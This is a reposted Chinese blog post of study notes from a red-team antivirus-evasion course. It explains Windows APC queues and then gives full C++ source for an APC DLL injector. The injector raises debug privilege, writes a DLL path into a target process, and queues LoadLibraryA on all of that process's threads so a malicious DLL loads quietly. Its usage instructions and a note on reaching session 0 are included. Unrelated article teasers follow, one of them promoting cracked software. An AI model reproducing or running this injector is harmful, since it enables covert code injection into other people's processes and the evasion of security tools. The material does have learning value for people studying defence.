初识APC机制实现APC注入

参考:APC异步过程调用-CSDN博客

又是跟着红队蓝军师傅学免杀的一天,这节课介绍了APC机制和APC注入的实现。

APC介绍: 

APC,全称为Asynchronous Procedure Call,即异步过程调用,是指函数在特定线程中被异步执行,在 操作系统中,APC是一种并发机制。

往线程APC队列添加APC,系统会产生一个软中断。在线程下一次被调度的时候,就会执行APC函数, APC有两种形式,由系统产生的APC称为内核模式APC,由应用程序产生的APC被称为用户模式APC。

当用户模式 APC 排队时,它排队的线程不会被定向到调用 APC 函数,除非它处于可警告状态。线 程在调用SleepEx、SignalObjectAndWait、MsgWaitForMultipleObjectsEx、 WaitForMultipleObjectsEx或WaitForSingleObjectEx函数时进入可警告状态。如果在 APC 排队之 前等待满足,则线程不再处于可警告等待状态,因此不会执行 APC 函数。但是,APC 仍在排队, 因此当线程调用另一个可警告的等待函数时,APC 函数将被执行。

主要函数:QueueUserAPC

QueueUserAPC 函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函 数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含 THREAD_SET_CONTEXT 访问权限。第三个参数表示传递给执行函数的参数,与远线程注入类似,如果 QueueUserAPC 的第一个参数为LoadLibraryA,第三个参数设置的是dll路径即可完成dll注入。

函数结构

DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);

APC的本质

线程是不能被杀掉、挂起、恢复的,线程在执行的时候自己占据着CPU,别人怎么可能控制它呢? 举个极端的例子:如果不调用API,屏蔽中断,并保证代码不出现异常,线程将永久占用CPU。所以说线 程如果想死,一定是自己执行代码把自己杀死,不存在他杀这种情况。那如果想改变一个线程的行为该 怎么办呢?可以给他提供一个函数,让它自己去调用,这个函数就是APC(Asyncroneus Procedure Call),即异步过程调用。

简单实现

简单实现APC队列的插入,在3环调用 QueueUserAPC(在0环和在3环调用是有些区别的,实际的函数实现是在0环所以如果在3环调用实际是从0环到3环来找APC队列中APC加载,而如果在0环就不用这么麻烦。)

// APCtest1.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>DWORD WINAPI MyThread(LPVOID)
{int i = 0;while (true){SleepEx(300, TRUE);  //这里就启用了APCprintf("%d\n", i++);}
}void __stdcall MyApcFunction(LPVOID)  //等待回调的函数
{printf("Run APCFuntion\n");printf("APCFunction done\n");
}int main(int argc, char* argv[])
{HANDLE hThread = CreateThread(0, 0, MyThread, 0, 0, 0);//创建一个线程Sleep(1000);//等待前面的子线程被创建后再插入APC队列if (!QueueUserAPC((PAPCFUNC)MyApcFunction, hThread, NULL))//QueueUserAPC返回值是0、1.回调了MyApcFunction{printf("QueueUserAPC error : %d\n", GetLastError());}getchar(); //一个用来接受键盘输入的函数,在这里是为了卡着保持主线程一直在运行,只有主线程在运行子线程才能运行return 0;
}

运行的结果

看着其实就和在主函数中调用了一次回调函数一样,但是实际上回调函数是由创建的子线程调用的不是主线程。(说调用可能也不准确,切换为APC来执行APC队列的内容)

APC注入实现

        在 Windows系统中,每个线程都会维护一个线程 APC队列,通过 QucueUserAPC 把一个APC 函数添加到 指定线程的APC队列中。每个线程都有自己的APC队列,这个 APC队列记录了要求线程执行的一些APC 函数。Windows系统会发出一个软中断去执行这些APC 函数,对于用户模式下的APC 队列,当线程处在 可警告状态时才会执行这些APC 函数。一个线程在内部使用 SignalObjectAndWait 、 SleepEx 、 WaitForSingleObjectEx 、 WaitForMultipleObjectsEx 等函数把自己挂起时就是进入可警告状态, 此时便会执行APC队列函数

 步骤

1.当EXE里某个线程执行到SleepEx()或者WaitForSingleObjectEx()时,系统就会产生一个软中断 (或者是Messagebox弹窗的时候不点OK的时候也能注入)

2.当线程再次被唤醒时,此线程会首先执行APC队列中的被注册的函数

3.利用QueueUserAPC()这个API可以在软中断时向线程的APC队列插入一个函数指针,如果我们插 入的是Loadlibrary()执行函数的话,就能达到注入DLL的目的

        每一个进程的每一个线程都有自己的APC队列,我们可以使用QueueUserAPC函数把一个APC函数压入 APC队列中。当处于用户模式的APC被压入到线程APC队列后,线程并不会立刻执行压入的APC函数,而 是要等到线程处于可通知状态(alertable)才会执行,即只有当一个线程内部调用 SleepEx 等上面说到的 几个特定函数将自己处于挂起状态时,才会执行APC队列函数,执行顺序与普通队列相同,先进先出 (FIFO),在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般 不存在挂起状态,所以APC注入对于这类程序没有明显效果

其实就是一种骚姿势进行的DLL注入,而且动静比之前的小,又已经在运行的线程来回调插入到APC队列中的恶意DLL。

 

流程

1. OpenProcess 打开进程

2. VirtualAlloc 申请空间

3. WriteProcessMemory 写入dll信息

4.根据进程对应的线程id打开线程

5.使用 QueueUserApc 插入执行

此处代码编码方式使用ASCII

其中的关键代码为遍历线程快照并且对每个属于指定PID的进程的线程进行APC插入。

完整代码:

#include <Windows.h>
#include <iostream>
#include <TlHelp32.h>
#include <tchar.h>// 提权函数
BOOL EnableDebugPrivilege()
{HANDLE hToken; //用于存储当前进程的访问令牌句柄。BOOL fok = FALSE;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))//打开当前进程的访问令牌,允许调整权限。{TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1; //设置为 1,表示我们只要调整一个权限。LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);//SE_DEBUG_NAME 是一个定义在 Windows 头文件中的常量,其值为 "SeDebugPrivilege"。获取“调试程序”权限的 LUID,并将该 LUID 存储在 tp.Privileges[0].Luid 中。tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;//启用该调试权限。AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);//调整访问令牌的权限。fok = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fok;
}BOOL APCInjectDLL(DWORD dwPid, char* pszDllName) {EnableDebugPrivilege();//打开进程,获取进程句柄HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == NULL){printf("OpenProcess error!\n", GetLastError());return FALSE;}//向目标进程申请空间写入dll全路径int nSize = strlen(pszDllName);LPVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nSize, MEM_COMMIT,PAGE_READWRITE);if (pDllAddr == NULL){printf("VirtualAllocEx error!:%d\n", GetLastError());return FALSE;}SIZE_T dwWrittenSize = 0;
BOOL Write=WriteProcessMemory(hProcess, pDllAddr, pszDllName, nSize, &dwWrittenSize);
if (Write == 0){printf("WriteProcessMemory error!:%d\n", GetLastError());return FALSE;}//获取LoadLibraryA的地址HMODULE hMod = GetModuleHandleA("kernel32.dll");FARPROC pFuncAddr = GetProcAddress(hMod, "LoadLibraryA");//拿到LoadLibraryA后面用来注入DLL用。//以上步骤和之前的注入流程基本一致,只有下面这里的注入方式使用了APC队列的方式进行的//创建线程快照THREADENTRY32 te = { 0 };//声明了一个 THREADENTRY32 结构体变量 te 并初始化为 0。用来存储线程的相关信息te.dwSize = sizeof(te);//设置 THREADENTRY32 结构体的大小HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, NULL);//创建一个线程快照,TH32CS_SNAPTHREAD 指定了快照类型为线程快照。if (hSnap == INVALID_HANDLE_VALUE) {printf("CreateToolhelp32Snapshot error!:%d\n", GetLastError());return FALSE;}DWORD dwRet = 0;HANDLE hThread = NULL;if (Thread32First(hSnap, &te)) {//使用 Thread32First 函数获取快照中的第一个线程信息。do {if (te.th32OwnerProcessID == dwPid) {    //检查当前线程是否属于目标进程 ID (dwPid)。hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, te.th32ThreadID);    //如果线程属于目标进程,则打开该线程的句柄,以便可以向它排队 APCif (hThread) {dwRet = QueueUserAPC((PAPCFUNC)pFuncAddr, hThread,(ULONG_PTR)pDllAddr);    //如果成功获取了线程句柄,使用 QueueUserAPC 函数向该线程排队一个 APC。也就是在这一步进行DLL注入。//参数解读// (PAPCFUNC)pFuncAddr:这是一个指向函数的指针,该函数是将要执行的 APC 函数。PAPCFUNC 是一个函数指针类型,指向的函数必须符合特定的签名,即没有返回值,并且接受一个 ULONG_PTR 类型的参数。     //hThread:这是一个线程句柄,标识了将要接收 APC 的线程。//(ULONG_PTR)pDllAddr:这是传递给 APC 函数的参数。即指向保存在进程内存中dll内容hThread = NULL;}}} while (Thread32Next(hSnap, &te));    //使用 Thread32Next 函数遍历快照中的所有线程}//这里是对指定进程中出现的所有线程都进行APC插入,每个线程都有自己的APC队列不是共用的。所以应该一个进程中可能注入了多个线程。CloseHandle(hThread);CloseHandle(hProcess);CloseHandle(hSnap);return TRUE;
}int main(int argc, char* argv[])
{if (argc == 3){if (FALSE == APCInjectDLL((DWORD)_tstol(argv[1]), argv[2]))printf("APCInject failed\n");elseprintf("APCInject successfully\n");}else{printf("\n");printf("Usage: %s PID <DllPath>\n", argv[0]);printf("Example: %s 520 C:\\test.dll\n", argv[0]);exit(1);}return 0;
}

 

注入验证:

同样这种方法也可以注入session 0 不过同样需要使用管理员的权限去运行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/429538.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【HTTPS】对称加密和非对称加密

HTTPS 是什么 HTTPS 是在 HTTP 的基础上&#xff0c;引入了一个加密层&#xff08;SSL&#xff09;。HTTP 是明文传输的&#xff08;不安全&#xff09; 当下所见到的大部分网站都是 HTTPS 的&#xff0c;这都是拜“运营商劫持”所赐 运营商劫持 下载⼀个“天天动听“&…

Java ETL - Apache Beam 简介

基本介绍 Apache Beam是一个用于大数据处理的开源统一编程模型。它允许用户编写一次代码&#xff0c;然后在多个批处理和流处理引擎上运行&#xff0c;如Apache Flink、Apache Spark和Google Cloud Dataflow等。Apache Beam提供了一种简单且高效的方式来实现数据处理管道&…

【Node.js】初识微服务

概述 Node.js 的微服务架构是一种通过将应用程序分解为独立的、松耦合的小服务的方式进行系统设计。 每个微服务负责处理一个特定的业务功能&#xff0c;并且这些服务可以独立开发、部署、扩展和管理&#xff0c;并且可以通讯。 它的核心思想就是解耦。 微服务和微前端是类…

智慧校园建设解决方案建设系统简介

一、建设背景 1.1 政策背景 1.2 班牌的演变 1.3 建设愿景 二、 智慧班牌简介 三、智慧班牌系统 3.1 系统概述 3.2 软件平台功能交互简介 3.2.1 智慧班牌与管理平台间的功能关联 3.2.2 手机客户端&#xff08;管理员、教师、家长端&#xff09; 3.2.3 手机客户端&#x…

CleanClip --- 为Mac用户打造的智能剪贴板管理利器

CleanClip是一款专为Mac用户设计的强大剪贴板管理工具&#xff0c;旨在提升用户的工作效率和数据管理体验。它通过智能化的剪贴板内容管理&#xff0c;实现了Mac系统与用户操作之间的无缝衔接。CleanClip支持多种连接方式&#xff0c;包括系统级的快捷操作和自定义快捷键&#…

PHP API 框架:构建高效API的利器

在当今快速发展的互联网时代&#xff0c;API&#xff08;应用程序编程接口&#xff09;已成为连接不同应用程序和服务的关键。PHP&#xff0c;作为一种流行的服务器端脚本语言&#xff0c;提供了多种强大的框架来简化API的开发。本文将介绍PHP API框架的重要性&#xff0c;以及…

【宠物小精灵之收服(待更新)】

题目 代码 #include <bits/stdc.h> using namespace std; int f[1010][510]; int main() {int n, m, k;cin >> n >> m >> k;int c 0;for(int i 1; i < k; i){int cost, hp;cin >> cost >> hp;for(int j n; j > cost; j--){for(i…

yarn : 无法加载文件 C:\Users\Rog\AppData\Roaming\npm\yarn.ps1,因为在此系统上禁止运行脚本

yarn : 无法加载文件 C:\Users\Rog\AppData\Roaming\npm\yarn.ps1&#xff0c;因为在此系统上禁止运行脚本 设置命令行窗口默认以管理员身份运行&#xff0c;在此基础上输入以下代码&#xff0c;应该就好使了&#xff0c;切记&#xff0c;以下代码才是关键&#xff0c;我基本上…

肾癌的多模态预测模型-临床-组织学-基因组

目录 摘要 技术路线 ① lncRNA的预测模型 ②病理 WSI 的分类器 ③临床病理分类器 模型结果 与别的模型比较 同行评审学习 1&#xff09;使用lncRNA的原因 2&#xff09;模型临床使用意义 3&#xff09;关于截止值的使用 摘要 A multi-classifier system integrated…

树莓派3B驱动ST7735(内核)(代码篇)(TODO)

书接上回&#xff1a;树莓派3B驱动ST7735&#xff08;内核&#xff09;&#xff08;配置篇&#xff09;_st7735s驱动固件下载-CSDN博客&#xff0c;这次主要是精读一下树莓派内核中的ST7735驱动源码 &#xff08;TODO&#xff09;

Elasticsearch不停机切换(上云)方案

如何给飞行中的飞机换引擎? 背景 业务背景 略 技术背景 线下集群40个索引左右&#xff0c;总数据量不大,不到100G因为ES承担的业务鉴权业务&#xff0c;所以不能接受停机割接 还有就是ES中数据来自各个业务方&#xff0c;推送的时机不定&#xff0c;也没有完备的重推机制&…

ChatGPT 在国内使用的方法

AI如今很强大&#xff0c;聊聊天、写论文、搞翻译、写代码、写文案、审合同等等&#xff0c;ChatGPT 真是无所不能~ 作为一款出色的大语言模型&#xff0c;ChatGPT 实现了人类般的对话交流&#xff0c;最主要是能根据上下文进行互动。 接下来&#xff0c;我将介绍 ChatGPT 在国…

重生之我们在ES顶端相遇第15 章 - ES 的心脏-倒排索引

文章目录 前言为什么叫倒排索引数据结构如何生成如何查询TF、IDF参考文档 前言 上一章&#xff0c;简单介绍了 ES 的节点类型。 本章&#xff0c;我们要介绍 ES 中非常重要的一个概念&#xff1a;倒排索引。 ES 的全文索引就是基于倒排索引实现的。 本章内容建议重点学习&…

Win10 安装Node.js 以及 Vue项目的创建

一、Node.js和Vue介绍 1. Node.js Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境。它允许你在服务器端运行 JavaScript&#xff0c;使得你能够使用 JavaScript 来编写后端代码。以下是 Node.js 的一些关键特点&#xff1a; 事件驱动和非阻塞 I/O&#xff1a;Node…

Parallels Desktop 20(Mac虚拟机) v20.0.0 for Mac 最新破解版(支持M系列)

Parallels Desktop 20 for Mac 正式发布&#xff0c;完全支持 macOS Sequoia 和 Windows 11 24H2&#xff0c;并且在企业版中引入了全新的管理门户。 据介绍&#xff0c;新版本针对 Windows、macOS 和 Linux 虚拟机进行了大量更新&#xff0c;最大的亮点是全新推出的 Parallels…

数据库提权【笔记总结】

文章目录 UDF提权以有webshell只有数据库权限条件复现msf工具sql语句提权 MOF提权前言条件复现msf工具php脚本提权 sqlserver提权前言条件xp_cmdshell提权复现 沙盒提权介绍复现 Oracle提权靶场搭建执行任意命令复现 通过注入存储过程提权&#xff08;低权限提升至DBA&#xff…

安全帽佩戴识别摄像机:守护安全的智能之眼

在现代工业和建筑等诸多领域中&#xff0c;安全始终是重中之重。每一处施工现场、每一个生产车间都潜藏着可能对人员造成伤害的风险因素。而安全帽&#xff0c;作为保护工作人员头部免受伤害的关键装备&#xff0c;其是否被正确佩戴就显得尤为关键。此时&#xff0c;安全帽佩戴…

智创未来,景联文科技提供全方位数据采集服务

随着科技的日新月异&#xff0c;人工智能技术正在改变我们的生活与工作方式&#xff0c;数据成为推动人工智能&#xff08;AI&#xff09;技术发展的基石。 高质量的数据对于训练机器学习模型、提升算法性能以及实现智能应用的广泛部署至关重要。 景联文科技凭借卓越的技术实力…

Kafka 为什么这么快?

Kafka 是一款性能非常优秀的消息队列&#xff0c;每秒处理的消息体量可以达到千万级别。今天来聊一聊 Kafka 高性能背后的技术原理。 1 批量发送 Kafka 收发消息都是批量进行处理的。我们看一下 Kafka 生产者发送消息的代码&#xff1a; private Future<RecordMetadata>…

PowerMill 2025简体中文版百度云资源分享下载

如大家所了解的&#xff0c;PowerMill是一款专业的CAM&#xff08;计算机辅助制造&#xff09;软件。主要用于加工行业&#xff0c;可以帮助用户进行高效、精准的加工工艺设计和数控编程&#xff0c;以达到生产部件的高精度和高质量。 对于初次接触的小伙伴来说&#xff0c;目…